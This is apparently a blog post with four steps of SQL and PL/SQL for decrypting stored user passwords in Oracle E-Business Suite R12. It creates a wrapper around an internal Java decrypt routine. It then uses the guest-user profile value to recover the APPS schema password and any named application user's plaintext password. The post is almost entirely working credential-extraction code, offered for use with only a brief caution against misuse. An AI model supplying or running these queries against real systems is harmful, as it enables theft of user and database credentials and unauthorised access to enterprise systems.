Steps for finding password of a User in Oracle Apps R12

THIS WORKS WITH ORACLE R12


Here is a wonderful oracle seeded Procedure fnd_web_sec.get_guest_username_pwd which will help us to find out user password.

Please use with this care and don't misuse this.

Kindly Follow the below mentioned steps:

Login to Apps user 

Step 1:


--Package Specification
CREATE OR REPLACE PACKAGE get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2;
END get_pwd;
/

Step 2:

--Package Body
CREATE OR REPLACE PACKAGE BODY get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2
   AS
      LANGUAGE JAVA
      NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END get_pwd;
/

Step 3:

Query to get password for apps user.

SELECT 
(SELECT get_pwd.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) FROM DUAL)), usertable.encrypted_foundation_password) FROM DUAL) AS apps_password
 FROM fnd_user usertable 
WHERE usertable.user_name LIKE UPPER ((SELECT SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD') ,1 , INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/') - 1 ) FROM DUAL))

Step 4:

 --Query for finding any application user
SELECT usr.user_name,
       get_pwd.decrypt
          ((SELECT (SELECT get_pwd.decrypt
                              (fnd_web_sec.get_guest_username_pwd,
                               usertable.encrypted_foundation_password
                              )
                      FROM DUAL) AS apps_password
              FROM fnd_user usertable
             WHERE usertable.user_name =
                      (SELECT SUBSTR
                                  (fnd_web_sec.get_guest_username_pwd,
                                   1,
                                     INSTR
                                          (fnd_web_sec.get_guest_username_pwd,
                                           '/'
                                          )
                                   - 1
                                  )
                         FROM DUAL)),
           usr.encrypted_user_password
          ) PASSWORD
  FROM fnd_user usr
 WHERE usr.user_name = '&USER_NAME';

 Please share your comments.

3 comments: